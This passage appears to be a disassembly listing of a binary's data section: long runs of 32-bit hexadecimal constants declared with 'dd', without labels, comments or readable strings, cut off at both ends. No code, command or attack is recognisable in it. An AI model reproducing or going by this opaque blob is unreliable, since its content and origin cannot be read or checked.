0F20023CDh dd 6709CECAh, 70420B0Ch, 34B439E0h, 0C96C8900h, 267BB393h dd 0D395AF00h, 518D453Fh dd 0F8660108h, 0E0B57C4Ch, 0D47BE941h, 840128D1h, 4E1E2575h dd 0C24A5A7h, 63052102h, 0C4D88400h, 395FA0FBh, 78007B41h dd 0B09CF882h, 89019331h, 0C10D1263h, 0EBF990DEh, 137CB820h dd 168344BEh, 2D9A07DDh, 4126C0CBh, 3B00B8AEh, 58E71BE0h dd 7B49B22h, 5997B116h, 29A3E174h, 8D12C075h, 7F913602h dd 4072655Ch, 6BB700h, 209E157Dh, 615EB2C3h, 0B6147879h dd 2EC1EB9h, 0C9725F8h, 0E0DF00C6h, 55003C81h, 0E2878812h dd 3B1318B4h, 860E3E03h, 1A60B69Bh, 9520151Ch, 4CB14Ch dd 0EE529F2h, 0D9F648h, 5F1FCCBAh, 0BB1EA5FCh, 0C3ECAE50h dd 8040653Dh, 8C4C6613h, 7FD7E2h, 0E6DEA10Bh, 0FCEADBD4h dd 0B06B48h, 668A2D6Ch, 58CC3Dh, 0CA6526F3h, 0D9A1D7C3h dd 0E6C8003h, 0B8863B28h, 1F6D9BC4h, 8603B749h, 10E587C7h dd 0C3957202h, 81699E4Fh, 7D586DCh, 1FC1831h, 4CAC075Ah dd 0A5C0F1D2h, 3FB0007Fh, 96B0585Ch, 7B3CEE07h, 890E1D80h dd 4E6480B4h, 0FEDFB8C5h, 9B5E1DC9h, 0C0321C46h, 8DBE5D11h dd 700F4841h, 4FEC1659h, 0C517C01Ch, 0F1388Ch, 3EF0CB63h dd 0B51F248Eh, 68C14600h, 0C23699E7h, 0A67200FEh, 7BB6E9AAh dd 9600F8A3h, 0DAD6F6E6h, 9F2D23h, 0FEAD356Bh, 0C7958DFAh dd 0D3C67D14h, 86E700D8h, 783D7EE9h, 35DF1F34h, 482B808Eh dd 0D2DECB61h, 23849F00h, 0C0B6EE5h, 0BF9100DBh, 6C2D11DAh dd 0C0001E60h, 4727A4A1h, 20D4BDE3h, 2B139F95h, 782477DDh dd 6E8017C7h, 722AE7BDh, 0BBAD1D65h, 0B52C401Bh, 0B933FE7Fh dd 8739E500h, 0C741FFAh, 0A7BD0105h, 8DC93A8Ah, 662E43Eh dd 0A8F9E907h, 0D3E202B9h, 0CB706BF4h, 0E047A027h, 152D005Ch dd 7BBACB40h, 62F8A7EAh, 0A02ABE00h, 0FC3F1BFBh, 0E7A5005Bh dd 3E3B6C2h, 88003A4Bh, 8B02C7D1h, 7AC2A49h, 0A28339E6h dd 0C81150E8h, 203F604Eh, 63FF853Fh, 6780B479h, 12264508h dd 1662774h, 3D0CC36Ch, 52E1D8F9h, 20F65A00h, 0D6EA3A61h dd 0F05E00E0h, 324EC7C8h, 5A0013DEh, 0A51AF61Bh, 137B3F3Dh dd 35F831h, 4746BC65h, 0C8008BF0h, 98505287h, 0FEDBA940h dd 363300F3h, 751220FAh, 2F00444Ah, 0D58237BFh, 0A606E9h dd 46DDA3C9h, 0CF406A2Dh, 18EA5930h, 7420E50h, 879A0490h dd 94E92E4Ah, 0DAC1A88h, 24FC0353h, 0C6C0BBD0h, 3F4CB15Ah dd 9BC900ABh, 185C57B2h, 0D100BA87h, 1039594Ah, 7E78B9h dd 0C6EBAC8Fh, 2C6C7925h, 5D8D8200h, 94F31518h, 299824B1h dd 31FF840Ch, 56444024h, 0F255D167h, 0B2B71316h, 2D88007Bh dd 0AF0EB663h, 5D68F600h, 0D7E62460h, 0D38800DBh, 8144FA1h dd 2B00D27Bh, 0D66F8162h, 3E494B5h, 64833675h, 6F974FE3h dd 34244360h, 7D00AD1Ah, 0D0A3DDA2h, 0A8D385h, 97CFE667h dd 52C4E36Bh, 0A70027F8h, 0CC88A0A3h, 74143A93h, 0AF480041h dd 13772A8Bh, 0D059E63Eh, 808C00FCh, 78DC96C5h, 4ED50EB3h dd 0DA232DDFh, 6DE2CE0Ah, 45CAFFC0h, 47DB6900h, 0B818FDDDh dd 5EC20FE4h, 20808443h, 0D1C0DEC8h, 2D279B00h, 2254C379h dd 428D3CEFh, 0C6C77A80h, 5CBF97Dh, 8082D53Eh, 41A4ECAh dd 970ACF1h, 2F293025h, 1D287880h, 9B3C92FAh, 5AB83EAh dd 1CBFFD86h, 0C0C4B3C0h, 45DF3A68h, 0CE00C91Dh, 0DA03D55Fh dd 7CBB650h, 0AC809786h, 80C7959Ch, 0B08E6654h, 0F3C681Ch dd 0D570A80h, 0E3FB60h, 5E7C7AD6h, 0D713DB66h, 415883Eh dd 530FB535h, 43C9C782h, 1997E824h, 0CA6D050Eh, 819A6FDFh dd 20FB7863h, 93016E62h, 7402718Eh, 0A9F8D87Dh, 0F3110020h dd 7040BD21h, 0B10ED1AEh, 61573134h, 9A5316ADh, 9DB2420h dd 3F44097Eh, 1AD63840h, 0A0D03900h, 0D8478293h, 0E34816BBh dd 3764038Ah, 2800CEE8h, 0E472541Ah, 0B0A8F5D1h, 344D0CF4h dd 3FB0CB99h, 0C6237F00h, 27A7F22Ah, 16147F4Ch, 409986B3h dd 0B59A106Ch, 0BF02373Dh, 790A18F5h, 0AE76C1BBh, 0E847F88Fh dd 0E1F18E07h, 241B0E05h, 200637Ch, 0D3FC0FE1h, 58605A70h dd 0F4000C06h, 65A5D8C1h, 86040C59h, 7A269182h, 0EFD18480h dd 28050037h, 0C420EE1Ah, 0ED00D881h, 21557770h, 12C2B1F3h dd 9F59CEh, 3B6F3D73h, 0DD0F68B3h, 0A042CB49h, 368A1B1Dh dd 0B8A109FDh, 840093C7h, 0B250D961h, 0B4EA88h, 95302AE2h dd 0D1457217h, 89D41F0Ch, 88882h, 66E29CEAh, 0B04B2A4Dh dd 820514Ah, 10B2E6h, 0BEA28CF8h, 2643A3F6h, 9078C900h dd 2CF185Bh, 60EC16D4h, 5DD400FFh, 72D5BB6Bh, 9D045F00h dd 20CDE1A0h, 7A273B2h, 0C283E858h, 2882DBBEh, 30587689h dd 44981F0Fh, 2DE7A03Ch, 2ED78CE5h, 37218FAh, 89E1ADEBh dd 0F4058BD0h, 55CA45Ch, 0EF9CA22Eh, 0D158B400h, 6E0F5Bh dd 4C5D9B8Fh, 3E24753Ah, 0E2AD2B00h, 9D01AFA3h, 8AA600EAh dd 25641069h, 0C0016874h, 4A306F4h, 0B4D0D888h, 42B603EEh dd 74AE1AF7h, 829750F0h, 83B9E60Eh, 236E202Ah, 0E04A7Fh dd 7D0835E3h, 0A36B5975h, 0BBDB5D00h, 0D0B979Dh, 0D17C0103h dd 0EB394466h, 0BE74F881h, 910F2914h, 30F008C0h, 424A3C1Dh dd 49EC2B60h, 0D85F38E1h, 9AFE3665h, 0E34AD207h, 0B4F06454h dd 88D322h, 90464BBEh, 5D1D6DB3h, 0A2E84300h, 0A6D8F9F8h dd 0F20B00E3h, 0AAC722C4h, 96005BD4h, 0D9E90F56h, 3A1C09B2h dd 90F939A9h, 0C5980012h, 1149D5Eh, 193C86CDh, 68F9A64Ch dd 0DFAEEB00h, 75430C37h, 4A7C52h, 0EBB2A88h, 7C56362h dd 0FC993600h, 4CA51B87h, 0DA260E5Ah, 27E0D0BBh, 59F1487Dh dd 35D6E809h, 0C72407EEh, 81BDE780h, 2887AB4h, 177A026Ch dd 8340C33Eh, 8B4F6FBAh, 0F89BC9C3h, 7C133C70h, 45B800C0h dd 8FF2B525h, 1400FC94h, 2B10F7F9h, 30FCE73h, 8B159B43h dd 49D074E7h, 0B30038A4h, 0E8103AC2h, 9E5D5C2Ch, 85EB0EB4h dd 68B614E0h, 349AF7E3h, 90CB4A00h, 6C9886EEh, 91F27Ch dd 71CA05E5h, 56AE95CCh, 0A0669D0Eh, 94806084h, 0C3E0BAh dd 9821DE36h, 3247EE9Fh, 0A7BC80A0h, 53D39A00h, 5BFBCEB5h dd 23520CC7h, 252030ABh, 7343A91Dh, 935AC3C0h, 31EB71Dh dd 0FCDDBD1Fh, 1BF0424Dh, 0E60B3102h, 60C54686h, 4D9E5A18h dd 8C1034E2h, 0B53800EFh, 0DD0941ECh, 2EC500D2h, 0E47079EDh dd 9B00AA85h, 7178B16Fh, 0EAAE6AEBh, 0C6870063h, 1907EDD2h dd 5B003EB3h, 0E605FEACh, 0E0A30270h, 75C8EB78h, 50F376FFh dd 2ED353h, 0D03B45D7h, 0E4496D1Eh, 0BFC3340Bh, 2AA880FDh dd 41304Fh, 267631B7h, 0A0FCA9CBh, 9EF4F200h, 82BA5B62h dd 2BE7007Fh, 0EF9B1EC7h, 41042FC2h, 0A34964DBh, 0E52948D0h dd 9DF204B3h, 802F62FDh, 28AFD9BCh, 74A73F18h, 0E2F17610h dd 0E6903ABh, 56E07B68h, 8B2D1800h, 4454191Eh, 0FA27F0F4h dd 8D3C00DDh, 1DBAB34Fh, 3000552Bh, 0FC960915h, 0C07FAC25h dd 74C3BE79h, 5F2E2CE6h, 13004E29h, 4B1176B1h, 1372B860h dd 0C0632516h, 186A472Ch, 0ED2CA4Ch, 33B326h, 8FABCD60h dd 1F547B7Dh, 9ACB0EAh, 3020349Fh, 5326D608h, 0B1141A30h dd 358BAFBh, 0F2324361h, 191E29FFh, 0C013ADDBh, 0FC74DF00h dd 30433E1Eh, 1521A331h, 3A00755Ch, 4D0F69E9h, 243F469Eh dd 70E42Bh, 0B5ED71A2h, 931DF4F3h, 0B340030Ah, 0FB648EC3h dd 66B7F12h, 0D1A0F99h, 0C1161091h, 0CF00228Bh, 0B6D4C242h dd 0EDEA2594h, 7291FC81h dd 0BCF0D890h, 0C0B07473h, 45DA8805h, 3AC54606h, 9F87A983h dd 60CB8C40h, 5232035Fh, 0C6BACF9Ah, 63B73988h, 0FF02B1F6h dd 0DB0F2A56h, 3EBC8086h, 22B34B6h, 7768F0A1h, 0C0F7E2F5h dd 3C679080h, 27800EC2h, 2580F7F8h, 593C1E05h, 47038E46h dd 0C4FFC920h, 9D89000Ch, 0DC12A325h, 27013C34h, 6165E6Eh dd 0DC5074E9h, 1EB0FCFh, 527C4621h, 60ECA505h, 840083C4h dd 0E886D96Ch, 889253h, 1C4745DEh, 0EBB1CF3Dh, 56FC8F09h dd 3F8080E1h, 39DFD22h, 7CE78592h, 95D135AFh, 34303406h dd 434DE109h, 815C02A4h, 0D10041BFh, 902D12E0h, 0F7FB2835h dd 1F5F6A4h, 9716AF93h, 0ECD98956h, 3C004EBCh, 0C66D8CF1h dd 176E2E0h, 3DB9E71Fh, 3496E1DDh, 0C003C10h, 21587D72h dd 7582EF8Bh, 3BFD0712h, 0C29F4C2Dh, 9040750Fh, 1900DCB0h dd 0D3945D33h, 292874h, 0A5EA897Fh, 0CA85130Bh, 80546738h dd 6B9B186Eh, 2581C9h, 0C6A91E24h, 0BE1C4CC3h, 0B02C48h dd 90217CA4h, 0B8330486h, 1120085h, 7BC67603h, 79006FFEh dd 8CBBF0FCh, 0F87F2683h, 0B9D400BDh, 376E16ABh, 0A200220Dh dd 65EAC5F7h, 18B6F22Fh, 0A9AC5ECAh, 4A005059h, 6D66F729h dd 701692EDh, 0A2F224h, 7FEE82ABh, 0D0C78A6Bh, 34FB8D0Eh dd 47F5C060h, 0E216BFD5h, 1420003Dh, 4EB5CE10h, 620A427Fh dd 0D8846ED2h, 2ACFBC00h, 48B737E5h, 6900A993h, 0C81AC541h dd 2D180844h, 0B8B82149h, 6AB918BEh, 0C2DF98A9h, 398E7400h dd 79F2ABE0h, 0BD210078h, 0AA1F8B22h, 28C7AE7Dh, 27D1FB30h dd 24303EC9h, 0F17982h, 67692F0Bh, 4991E7BAh, 990620B8h dd 38BEAF59h, 0C7A703B0h, 0D819EEB5h, 40F783BAh, 0F6D1DBFh dd 79B9995h, 636140DEh, 8CF70F79h, 2DD4E04h, 0A5C08B24h dd 0E646A0BDh, 9D5300BFh, 89568DFh, 0DD01EF6Eh, 2789A296h dd 0CCECCB90h, 705901B5h, 0CFF7F55Bh, 0DC106179h, 0FF000961h dd 0F4B90625h, 0C3C24Ah, 244219CAh, 0EFD4AC69h, 181311E0h dd 0A800D10Ah, 640E57E3h, 4633001Eh, 0C28D90FDh, 9500BBB0h dd 8E8A2870h, 1098C37h, 6E0EA756h, 40CE7A69h, 9E52EF94h dd 76FFCF13h, 3C8A1C80h, 50BDEA79h, 5E7BA22Bh, 83340020h dd 3897DDFFh, 3EAD802h, 5015A9BAh, 63B0A9C4h, 2A24D43Ch dd 503047FCh, 24BD88F1h, 2CFDDE0Eh, 526F6FC3h, 69A9D40Ch dd 29898A1h, 2E85F947h, 0D868CFB3h, 0E001D25Bh, 16B0C4B4h dd 69800F55h, 0F84E7F1Fh, 2B1ECC29h, 84FCE3C3h, 34695A56h dd 18ED04C2h, 78027A50h, 0B388CC89h, 0B0A0687Ch, 0E7C31832h dd 878A114Ch, 3084FE00h, 7A451906h, 29581C97h, 0DE6C24h dd 371F6A54h, 1A0CB4C1h, 38F6CF1Ch, 0D070BE9h, 0A580A6E4h dd 5B7FA453h, 50F0C3Ch, 5D898FB4h, 4A091820h, 0C29C0E98h dd 3B0283EEh, 0CCE0FFABh, 0D006344Bh, 6E6BCF3Ch, 0BC6950FCh dd 81D300CAh, 0C9330623h, 0D600383Ah, 7F3B0EA8h, 0B53FB7h dd 0B2027531h, 1CC458EDh, 0CC646626h, 34802F17h, 1DE560Dh dd 31ACAB05h, 0C867D748h, 1513C4EBh, 50026AEEh, 2A8A20h dd 236DA1EAh, 1E6FB701h, 0CD9CEF55h, 3200C472h, 4240B6ADh dd 0AC00C459h, 0E20B5112h, 0C1BB525h, 3060CC17h, 0DD006578h dd 81FE5739h, 27DC35h, 23C45F67h, 0FAE0B898h, 799A0900h dd 0B0868219h, 2F2028EDh, 0B6B20ADCh, 1F98F3EAh, 37ADC142h dd 24F2E069h, 0A001470Ch, 6B297265h, 22AFF96h, 565C4A8Bh dd 21C88CE1h, 3270814Bh, 35D39BCFh, 0E1D4C8h, 0F745EECBh dd 0B2C9B7F8h, 4FB53E07h, 0C70EBC39h, 0E0104787h, 0B0680Ch dd 0E7C249CEh, 0FDEC42B4h, 0B6367201h, 7EEAB90Bh, 505370h dd 0AE014648h, 2B33AD37h, 0FD207300h, 573614E2h, 0C74916CBh dd 0E97C00E3h, 8B8DFFF1h, 9762001h, 93E03B0Bh, 7D8E20h dd 4A38287Eh, 8E6E11E2h, 9475FC00h, 0BCFF0C21h, 5A540072h dd 24E8A41h, 0AA00C518h, 8EC64F51h, 4F1649A2h, 37BC43F8h dd 0D0DD364Ah, 0CAEAC6DCh, 0D503B600h, 3D5248E2h, 160D1C41h dd 0BA1300C0h, 27C1AFE5h, 0DD7B2D00h, 0FFED2052h, 0B1A50F8Eh dd 0F42058E0h, 5C5AB3D2h, 0EF70BD01h, 7ADD3F85h, 3B88D9C6h dd 61FA480h, 0E17E6DF0h, 9CA27D17h, 8749E00Fh, 801F4190h dd 48EE12BAh, 62681F1Eh, 0B804C7BCh, 4D3B2030h, 660767B5h dd 0D16A036Ch, 0F5B71AB0h, 7F490096h, 1D41570Bh, 616FEEAh dd 0BA00C572h, 3361773h, 42C61416h, 0DD1EB4E2h, 5FB14078h dd 0D0CDBBB6h, 834D405h, 68E0137Dh, 0EB3E3CA5h, 6F90B300h dd 0A4AA01C9h, 24F3B40Fh, 386CC033h, 0F2EB9F4Fh, 81641406h dd 0D08B4C0h, 1700BBECh, 0AB1B4DA5h, 8A121E24h, 612380EFh dd 0F0D5B390h, 0AFADBA00h, 34559159h, 0D7EF002Ah, 7DD99ACCh dd 804C7241h, 0CFF10045h, 0D1010450h, 3D050014h, 0B976236Bh dd 0C6739DD8h, 687AEB24h, 0FABC1C00h, 0CCF019h, 46477C30h dd 5E862B15h, 269C2C1Ch, 84143383h, 7AEF8074h, 0ACBF0077h dd 12A79D2h, 0D100D0B6h, 81431D5h, 25FC4Ch, 0FFBD29ADh dd 0C67D8549h, 573FC900h, 24D23E2h, 0CDFB008Bh, 0B76BFA9Ch dd 0F80034E0h, 769081E3h, 1CD087DBh, 4030B2B5h, 1A53B308h dd 90DD2EE2h, 3E406080h, 0FB35DFh, 6249288Eh, 34EC132h dd 0FC008B74h, 0DC5DC5A5h, 0F4BA94h, 6186131Bh, 3EACDD92h dd 66036D14h, 5A1705FCh, 74E26BCCh, 0FC925204h, 0DF9CC0D8h dd 1A04ADBEh, 9E55D479h, 22190A0h, 4DB393E4h, 80808EA6h dd 6A94436Dh, 9040A75Ah, 0EE6391C9h, 0BD020042h, 7141560Ah dd 0B14FE4F9h, 86940405h, 380732C0h, 0D7C184Dh, 10441067h dd 0DCE93A00h, 0C9D9969h, 577F00B5h, 589EE8D1h, 2A2530D3h dd 0C3DC00EEh, 0B910ABh, 0B0C7A8F5h, 62258F5Ch, 81A2D05h dd 689017FDh, 0B22275C9h, 0C77044h, 6CB71F41h, 849FE0EDh dd 5644F00h, 65287438h, 7926003Bh, 6D6B2DE2h, 60600D58h dd 87A87A49h, 0F7570078h, 0AFCD5EEBh, 0D00722Bh, 0C77CA463h dd 14D0C08h, 0B7EA4241h, 706DE5E1h, 13702134h, 0BD08590Eh dd 0D9934723h, 0CBE3604Eh, 5849F15Ch, 0BE39A80Ch, 217107F0h dd 0E96B9476h, 45003052h, 3A80D09Bh, 2685335h, 1E49ECBBh dd 44562416h, 1162B282h, 37C5C0Dh, 156E1207h, 1FED01DDh dd 40B076ADh, 7EA88498h, 0ED2D5213h, 35E2004h, 0B081F685h dd 1838955Bh, 3EB92B0Bh, 3B5CF080h, 0D205C076h, 0E4C611Bh dd 0F8A09C83h, 3C51FA65h, 20384F0h, 0D480A8AEh, 249AE3B8h dd 0E351D18h, 0BC207AD8h, 8AA07B4h, 7C7EE005h, 19009FF3h dd 80CCEEC6h, 99213Ch, 0CF1861F7h, 729DFB2h, 0C86C0C00h dd 9ED4BD91h, 3FEA0376h, 0AD492C85h, 1EA3D818h, 13BA3DDAh dd 83F4A0h, 0E09B8909h, 0A800941Ch, 5DEB68C9h, 0CCB133h dd 9575ABBBh, 0C15506CAh, 1EAA143Fh, 0A0004CA2h, 0F1EFF7Ah dd 3B86FC81h, 0FBAEF193h, 3CF40757h, 0A9A7C04Fh, 0DF039F5Eh dd 2F4A0F16h, 56E9B018h, 0BD100093h, 74C15C4Fh, 4901EEBBh dd 2BFCC4DEh, 6C80DF31h, 212915FEh, 4F00BE45h, 0DACAB063h dd 9DDB3h, 0D369663Bh, 72BAF220h, 837DF1Eh, 0AE9D80FAh dd 418BC7A9h, 74360024h, 424973E6h, 0C1008DA5h, 3F76D187h dd 368FFA0h, 7DDB1D3Dh, 83F054C8h, 0CB0FB98Ah, 25F33801h dd 6180B394h, 19E2A63h, 5DD4E1EBh, 0DC38A377h, 9806CE39h dd 0A78AD6Fh, 237F72h dd 2A60C93h, 0C1C8908Eh, 8A13117Bh, 6403C7Ch, 45C90970h dd 31010CD8h, 0EB20E6D0h, 59A43F07h, 30975A93h, 0FC68DBD0h dd 185B1CA6h, 0B769807Bh, 40D9FD70h, 1D1FC1F0h, 6CC0DA8Bh dd 88122B7Eh, 0AF2700E4h, 4BC9D9F0h, 892E3AC2h, 0CD036F5Eh dd 72460685h, 1240E61h, 0D1E05B88h, 77AF18Eh, 0F5002973h dd 0DE441B56h, 388FBF9h, 6C75C614h, 8A2EE781h, 33CC62Eh dd 4CD6C7EAh, 400FA061h, 93A41E97h, 0E39CAFh, 9487AB48h dd 1A0F3AEFh, 3BC1DEBh, 994A6A66h, 0ED600867h, 40E00F3h dd 0E891F6BEh, 6C000BDFh, 246F7A72h, 0FAC19BCh, 0C8FB8F86h dd 3A1C7060h, 0CA39F4AFh, 2A4D809Dh, 0C0A984F3h, 3CFF0011h dd 8A25E48Fh, 9A0F38F8h, 0C0875E72h, 0E348440Dh, 29300F68h dd 65E0B846h, 0DA90C46Ah, 0E6B98600h, 2BDCDE2Eh, 695A00A7h dd 2A5046C7h, 650E88A2h, 60E15176h, 0A7972EF5h, 0A990F8h dd 0EFF185Eh, 2CC6CCCFh, 8B690A00h, 6FD516FCh, 7210002Bh dd 0E351F073h, 0FF2CDEAAh, 7900B576h, 4A390C43h, 34190378h dd 0DF378356h, 0B32CD9E0h, 3D6D2D03h, 0E86356Eh, 48744628h dd 0F014A040h, 62CFAB0h, 531CF554h, 0D0BE4E8Ah, 711C6500h dd 928E1617h, 5A800040h, 0D1FEC1F8h, 25007066h, 0A0B8D686h dd 150D3EBh, 0A7597B78h, 0DCC8CA60h, 79004C12h, 361A9AB6h dd 0A05D0B51h, 0D7DED0h, 7EF4EC2Ch, 9CEA39F2h, 71E43FEh dd 28C0BBC0h, 0A6A29AF9h, 0D0E500ABh, 40DF91C1h, 43000B71h dd 65D9CD42h, 75376C09h, 0B3A0006Dh, 8A74C6CBh, 8800E4D3h dd 8DF328A1h, 40827DF7h, 47007B18h, 7A9D12D6h, 736E79C1h dd 0FA5C00C9h, 7F9EBD5Ah, 3B266404h, 1D00122Fh, 0DBD677F2h dd 30F0029Ah, 8A22787Bh, 5DEF4160h, 0BA4EC515h, 2E7100FCh dd 28E3FF05h, 0A1E10096h, 59C2C6F4h, 0C130E690h, 58DD28B9h dd 221C0325h, 7D3C487Ah, 802A41A1h, 0D57266A8h, 97725D7h dd 9DBF815Bh, 627C1C80h, 0DEC4C48h, 0FEEAE00h, 0E5DF7057h dd 0ECF80090h, 0FB0B81ABh, 301E6DC3h, 78E41145h, 89952F07h dd 0BB4B4230h, 0C9D108D5h, 7700CCFEh, 3EE04914h, 808C03BEh dd 0F8858B89h, 68DF2D98h, 763A0300h, 0FEAFAA1Fh, 89D400E2h dd 18B9FDB4h, 230698D2h, 5790720Eh, 0EADE03DAh, 33D1568Ch dd 0AFD2F0A0h, 6F0037EEh, 8823AA54h, 0FB03F5h, 0EE64D7BDh dd 426C0EC9h, 1FCCDD18h, 0E6391Ah, 0DC6510D4h, 978DABD2h dd 0B53CAC7Dh, 0DA7E00E3h, 0D6308C21h, 28770082h, 4E7FEA59h dd 0F2006710h, 0ACAF7D2Ch, 5CE211C9h, 0EC00C4CBh, 0F8FE85Dh dd 4031CD8h, 59B03748h, 0AD38381Eh, 39F9E100h, 82DAE8F2h dd 10E6A333h, 0B5F03FF4h, 95C77E00h, 0EBC56315h, 678FD000h dd 43EA8A51h, 2E6A00C8h, 382D4840h, 6C003787h, 177D8BD7h dd 9AA2FB9h, 72D5CC4Ch, 0FB901803h, 36F6F288h, 549172Ch dd 0FD7CF03h, 0D0CD900Ch, 0C647E710h, 56A55820h, 67CF0026h dd 255A0E60h, 6F122973h, 8C00E37Ah, 0A99308EAh, 1F4B028Bh dd 0BA587879h, 0C0F1E3D5h, 0F5D6940h, 9BB93F16h, 4C29009Dh dd 0FFD7314Bh, 12EE1402h, 407D2306h, 975F48h, 50E67FE7h dd 0C6641674h, 8F0FE901h, 0D41946AFh, 0F0A4E0EAh, 0B79B0057h dd 0D27D1144h, 3D00C6EEh, 892D39CDh, 14E3EDEh, 3426BB81h dd 0ECA0B971h, 0BF00A1A6h, 805E565Ch, 3B5E3C1h, 783F3B4Dh dd 4BE994F4h, 8800F78Fh, 5BCEEF73h, 0B18821h, 0DA74FD7Ch dd 1EDF1D04h, 242E403Dh, 3B0041CDh, 792C1C73h, 0B220401h dd 0C05AC2CCh, 0F1BE9304h, 6B1836E2h, 77283D59h, 37250E3Fh dd 6CE88151h, 36A2000h, 0EAD13Dh, 7DABFE78h, 0C6558E91h dd 8101B890h, 23D8D4ECh, 0C03014F8h, 0F3D50246h, 6B3D4406h dd 92155868h, 6D70BD00h, 7F6A99ADh, 485D7077h, 0EF07B00Dh dd 0B1B4E6ABh, 700AB1F3h, 5500A0BEh, 71F14957h, 6BA49296h dd 98005245h, 7832DCD4h, 0CBFEF600h, 9E79414Ah, 248EEAD7h dd 0B42B59h, 5BA4BF14h, 0EE483812h, 0FADA0039h, 0A3104971h dd 41CF01F7h, 0F2973969h, 986C64CDh, 388BED00h, 75DE2724h dd 9168016Fh, 3FF3AED7h, 88B4FCFEh, 4715A81Ch, 0CCB83647h dd 692F5400h, 24E14C01h, 0ACFE0774h, 8323F0D9h, 75887112h dd 0FAF01036h, 7D85DA01h, 0DBA98FFDh, 0E0A6A995h, 64AA8203h dd 4800DEB6h, 40C6C984h, 1F00910h, 0C1B3A8A7h, 8107A4FBh dd 5A2A0690h, 0E7E85E47h, 4EEC0012h, 0CDB78BC1h, 98C346DDh dd 0C0B9742Eh, 11A6BBEh, 972C43C7h, 50CF99B5h, 0A3F6BDCCh dd 0B600D49Ah, 0C7F4C3B1h, 0FEDA6h, 0B883FD4Eh, 9CF6D4A3h dd 6F5799C0h, 0BB7BF03h, 2E49294Eh, 44C018AFh, 0B63DA333h dd 813C2038h, 13B4D4B9h, 0B3D8472Dh, 8D69C00Fh, 0D3CAD6BCh dd 295CD501h, 0B065260Ah, 6784060h, 32A7047Dh, 0D50010A9h dd 56FA3A69h, 0FD5A589Fh, 0BDAF030h, 0F999FF22h, 0A754BC21h dd 0E00065C5h, 5D18AABAh, 7D71A0E3h, 0DE2901ACh, 837A4931h dd 7B4CD00Ah, 9CBF2500h, 74C13E6Eh, 0FA5D1FEDh, 0F1168560h dd 0C03DC4BAh, 0E79B28BCh, 14FEF58h, 4DC427F6h, 0ACD84287h dd 3C3B0033h, 4373418Dh, 2059C4Fh, 0C8471F7Fh, 0B9F65490h dd 3C530238h, 0BF4D51Bh, 52B340E0h, 4C459000h, 0C600509h dd 0C19600CEh, 35184D8Fh, 0DE002F2Bh, 7B12CF0Dh, 0DDFDEDh dd 0A743571Ah, 0F113B28Ch, 875A4824h, 6C125500h, 0F2FEBC23h dd 0A6E104D0h, 83438CC2h, 88F8C52Bh, 0FAF41B0Dh, 61333200h dd 450C9DFFh, 0C998A09Fh, 0AB2F1F1Dh, 87D1879Eh, 3735124Ch dd 0F5810860h, 18A85400h, 0CA9BA21Dh, 75562C86h, 0D7B90648h dd 0C0002916h, 8ADF8884h, 12114B5h, 4611DA65h, 2079DE04h dd 4A006C34h, 0A157D733h, 924097A4h, 3B3600E4h, 2A5CE61Bh dd 7548F204h, 0A7390084h, 6053408Fh, 0E217282Ch, 59C63EECh dd 40DE8B9Eh, 0D3278D96h, 484931A7h, 0C8A8B9Ch, 2B5E6DEh dd 66EA4B6Fh, 7C41DF54h, 50E371D8h, 17A39CD4h, 0C70194F4h dd 825610ADh, 46218E8Dh, 2FDE9C0h, 2DF7F0BDh, 0D360EA1Bh dd 0F20C859Eh, 91E84BADh, 26EC9070h, 7186693h, 53F053Ah dd 7A313BBh, 316345E6h, 50DB0444h, 21373184h, 0F63B3CECh dd 0D4A00746h, 208F1F1Dh, 2ABE8AC5h, 0F4A900A5h, 8881CC87h dd 6D02F2AEh, 67496664h, 82C4C871h, 0A5443170h, 21F60791h dd 2E44BCh, 358BC6ACh, 0D7010C19h, 0CC6B2010h, 0F88025DEh dd 87F01D32h, 8B007CA2h, 3613AB8Dh, 8AE15h, 69897D3Eh dd 0F62A0E55h, 67BB8600h, 0CB519845h, 0BAC00A5h, 6EF33328h dd 690044DDh, 1C38BB2Bh, 0E5BC9A9h, 9CE5146Ch, 9D182E4Ch dd 0D34027h, 483D642Ch, 166DF2D8h, 0BACCA972h, 89B62500h dd 0BECDE83h, 4BF05266h, 7CB12C29h, 0EEE710CBh, 0C3DC189Ah dd 599F10B5h, 56256800h, 0F5B29C3Bh, 47722CA3h, 122C0082h dd 988470E1h, 4AB4A38h, 547E2A14h, 36CBCC80h, 0F20F011Bh dd 0E95B7709h, 0BE882418h, 0CD494409h, 0A06C8BD9h, 99D0D698h dd 0AF5C00E7h, 0D56F664Ch, 0A202685Fh, 1118FF07h, 0A31140E3h dd 3F4C2601h, 0C5AF83A7h, 4858DBDDh, 2403712Fh, 0C7F3A083h dd 16139878h, 0BFAA0B15h, 348E47B2h, 0F7C2809Dh, 7C7932D0h dd 0DA766098h, 761E89F0h, 0B21824CCh, 174917Ch, 0EA696B40h dd 60892E55h, 887F5BDDh, 0CDBF821Fh, 6012A84Eh, 92A69ECCh dd 1C790097h, 4C9DBA8Ah dd 0CD00ECFEh, 5F25DCC5h, 91A999h, 7CF92B63h, 699AE9BFh dd 949673EAh, 7B6E4400h, 370421h, 8F8430EBh, 85BE83AAh dd 0C4FC5700h, 0C0D76342h, 512300AEh, 2A736410h, 0BF04EBB6h dd 0FEDF6D79h, 4E5CF0h, 0A3C6FC52h, 1D6980EEh, 0F5ED4700h dd 61DF3BB8h, 0A7480344h, 0E81A3A9Bh, 0E64670A7h, 0DA00E162h dd 5B76CC7Bh, 0FEBF70C7h, 900B0911h, 0B480DD77h, 5AC44FBEh dd 5F27B805h, 0D8C04515h, 0FCB2EAAEh, 0A0F8009Dh, 0AB9B8AD1h dd 0B400A7CAh, 198D72B1h, 0E2BB27h, 2F1B1C4Ch, 65410F8Eh dd 0D318BF00h, 0CF0E3AABh, 7C930233h, 0BCE8D9FEh, 0ACAFE848h dd 34E459h, 0AE56A68h, 48DE25FFh, 0E033457h, 0E73685C6h dd 878DC5A8h, 0E4D3B809h, 444420BCh, 4470F29Eh, 0F02098B6h dd 0F257779Dh, 0A9B80CEBh, 847133BDh, 8F88AE04h, 6E80A499h dd 1E705C4h, 187669E6h, 838E52A3h, 8679F128h, 3793F0CFh dd 0D84300C5h, 822FA571h, 2709E2EDh, 8012BDAEh, 0E78D66E5h dd 0A0FA00C8h, 18303FF2h, 0D090A67Bh, 2167D600h, 0A90F0435h dd 0CA5A00D1h, 0FCB591CBh, 6878707Ch, 7D7F6F00h, 9F892FD2h dd 0DAA00D4h, 9383E3E9h, 6E091ED8h, 205ECE22h, 5DCCAFB0h dd 0ED2C4C2Bh, 81802100h, 0C70CD2BEh, 8D5A3B00h, 0B64044D1h dd 